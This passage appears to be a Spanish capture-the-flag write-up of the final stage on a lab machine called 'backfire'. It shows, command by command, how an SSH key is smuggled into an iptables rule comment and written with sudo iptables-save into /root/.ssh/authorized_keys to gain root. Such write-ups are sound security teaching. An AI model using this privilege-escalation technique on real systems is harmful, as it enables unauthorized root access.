Podemos utilizar este terminal para agregar la clave pública SSH que generamos anteriormente al archivo authorized_keys de sergej (/home/sergej/.ssh/authorized_keys). Una vez agregada, podemos iniciar sesión como el usuario sergej utilizando SSH.️
$ ssh -i rsakey sergej@10.129.163.156
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)
Encontramos que podemos ejecutar dos comandos como usuario root: iptables y iptables-save.️
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
Podemos ver en el sitio web de Shielder que podemos utilizar estos dos comandos para elevar nuestros privilegios utilizando la capacidad de comentario de iptables y la capacidad de escribir archivos mediante iptables-save. Vamos a utilizar la vulnerabilidad para agregar la clave pública SSH al archivo authorized_keys de root. Es importante tener en cuenta que el campo de comentario de iptables tiene una longitud limitada, por lo que necesitamos generar una clave corta, como una RSA con 1024 bits. Agregaremos una nueva regla con el comando prefijado y sufijado por el carácter \n. Luego, con el comando iptables -S, encontramos las reglas creadas (y el contenido que se escribirá en el archivo). Después, escribimos las reglas en el archivo /root/.ssh/authorized_keys.️
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDgkWK0cclSbbRiRBKiaPb3873yTweFP61107gWaDdPmuODD4eHN/y6U19IFcda7zGkocThAC3ka/PIzS7dKkdsF6Hw6GeMWtefEfLcJR0C/PYqCvyt2ZpXENzpL2rCisoPPduqcRMtmihGo3zWqAsY13IfgQoaJa9fNVcg2zLHCQ== a@a\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDgkWK0cclSbbRiRBKiaPb3873yTweFP61107gWaDdPmuODD4eHN/y6U19IFcda7zGkocThAC3ka/PIzS7dKkdsF6Hw6GeMWtefEfLcJR0C/PYqCvyt2ZpXENzpL2rCisoPPduqcRMtmihGo3zWqAsY13IfgQoaJa9fNVcg2zLHCQ== a@a
" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
Finalmente podemos iniciar sesión en la máquina como el usuario root.️
$ ssh -i rsakey root@10.129.163.156
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root podemos recuperar las flags user.txt y root.txt.️
root@backfire:~# cat /home/ilya/user.txt
<REDACTED>
root@backfire:~# cat /root/root.txt
<REDACTED>